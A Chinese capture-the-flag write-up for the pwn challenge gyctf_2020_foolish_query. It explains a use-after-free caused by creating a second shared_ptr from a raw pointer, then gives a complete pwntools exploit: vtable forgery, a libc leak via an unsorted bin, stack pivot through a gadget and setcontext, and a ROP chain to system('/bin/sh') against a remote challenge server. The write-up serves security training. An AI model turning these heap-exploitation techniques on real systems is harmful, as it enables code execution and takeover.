gyctf_2020_foolish_query(C++中的shared ptr指针的误用)

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)

首先,检查一下程序的保护机制

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)_第1张图片

然后,我们用IDA分析一下,在Query的构造函数中,如果我们查询的name存在,则将对应的对象从容易里取出,获得其shared_ptr对象,关键在于调用了shared ptrget函数,取得了对象的指针值,用这个指针值创建了一个新的shared_ptr对象。漏洞点在于,从一个shared_ptr对象里取得了被托管的对象的地址值创建了一个新的shared_ptr对象,因此,前面shard_ptr指针里的计数不会被传递给新创建的这个shared_ptr对象,因此这个局部的shared_ptr对象析构时,把受托管的对象也给free掉了。

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)_第2张图片

因此,我们第一次query,创建了一个对象,第二次query这个对象,将使得该对象被free,第三次query将使得程序崩溃,原因是结构体里的指针由于free被破坏了。经过分析,对象的结构体是这样的

struct Node {

   void *func_tables;

   string name;

}

由于UAF,我们可以通过feedback申请堆,将释放的这个结构体申请回来进行伪造。首先,我们通过feedback功能,可以直接获得堆地址

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)_第3张图片

那么我们把伪造的虚表存到堆里先。

_ZN9WordQueryD2Ev = 0x000000000040BF00
_ZN9WordQueryD0Ev = 0x000000000040BF50
_ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0
_ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08
_Z11secertQueryv = 0x0000000000402EA9
 
#伪造虚表
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev))

这个伪造的虚表与程序原来真正的虚表是一模一样的,因为第一步我们的目的不是执行代码,我们得伪造Node结构体里的string对象,进而能够读取任意地址,从而泄露libc地址。

basic_query('a'*0x8)
#UAF
basic_query('a'*0x8)
feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8) #remote

如上,我们这一步主要是控制了string对象,

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)_第4张图片

因为每次query,都会打印出name,因此控制name,我们可以读取堆里任意地址的数据,我们在后面再通过feedback功能,由于feedback里string对象的扩充,会得到unsorted bin,从而,我们进行query的时候可以泄露unsorted bin里的数据。我们只需要控制string对象里的length成员,即可控制数据泄露的长度。

#制造一个unsorted bin
feedback('b'*0x200)
#泄露出数据
basic_query('a'*0x8)
 
result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True)
main_arena_88 = u64(result[-8:])

泄露出数据以后,由于找不到合适的one_gadget,因此,我们只能做栈迁移。通过调试,我们发现,在函数虚表里的第三个函数调用时,寄存器状态如下

gyctf_2020_foolish_query(C++中的shared ptr指针的误用)_第5张图片

其中rax指向的就是这个对象,而[rax]指向的就是虚表。我们找到一个合适的gadget

mov rdi, qword ptr [rax] ; 
mov rax, qword ptr [rdi + 0x38] ; 
call qword ptr [rax + 0x20]

因为虚表指针我们可以任意控制,所以rdi的值,我们也可以任意控制,从而rax也可以控制,我们再结合setcontext,即可完成栈迁移,然后做ROP。因此,第二次虚表伪造,我们将第三个函数指针伪造为这个gadget的地址。

#coding:utf8
from pwn import *

context.log_level = 'debug'
#sh = process('./gyctf_2020_foolish_query',env = {'LD_PRELOAD':'./libc-2.23.so'})
#sh = process('./gyctf_2020_foolish_query')
sh = remote('node3.buuoj.cn',29002)
#sh = remote('127.0.0.1',8666)

libc = ELF('./libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']

def basic_query(keyword):
   sh.sendlineafter('6. Exit','1')
   sh.sendlineafter('Keyword:',keyword)

def feedback(content):
   sh.sendlineafter('6. Exit','5')
   sh.sendlineafter('You want to feedback huh?',content)



_ZN9WordQueryD2Ev = 0x000000000040BF00
_ZN9WordQueryD0Ev = 0x000000000040BF50
_ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0
_ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08
_Z11secertQueryv = 0x0000000000402EA9

#伪造虚表
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev))
sh.recvuntil('reward: ')
heap_addr = int(sh.recvuntil('\n',drop = True),16)

fake_vtable_addr = heap_addr + 0x50
print 'fake_vtable_addr=',hex(fake_vtable_addr)
basic_query('a'*0x8)
#UAF
basic_query('a'*0x8)
feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8) #remote
#制造一个unsorted bin
feedback('b'*0x200)
#泄露出数据
basic_query('a'*0x8)

result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True)
main_arena_88 = u64(result[-8:])

malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
pop_rdi = libc_base + 0x0000000000021102
#mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
trans_reg = libc_base + 0x0000000000136aa3
setcontext_x = libc_base + libc.sym['setcontext'] + 0x35
print 'libc_base=',hex(libc_base)
print 'setcontext_x=',hex(setcontext_x)
print 'system_addr=',hex(system_addr)

#伪造虚表
payload = 'v'*0x10 + p64(trans_reg) + p64(_ZNK9WordQuery3repB5cxx11Ev)
payload = payload.ljust(0x38,'c')
payload += p64(heap_addr + 0x32510)
payload += p64(setcontext_x)
rop = p64(binsh_addr) + p64(system_addr)
payload += rop
payload = payload.ljust(0xA0,'c')
payload += p64(heap_addr + 0x32538)
payload += p64(pop_rdi)
feedback(payload)


fake_vtable_addr = heap_addr + 0x324F0

feedback(p64(fake_vtable_addr) + p64(heap_addr + 0x98) + p64(0x8) + 'a'*0x8)
#getshell
basic_query('a'*0x8)

sh.interactive()

 

你可能感兴趣的:(pwn,二进制漏洞,CTF)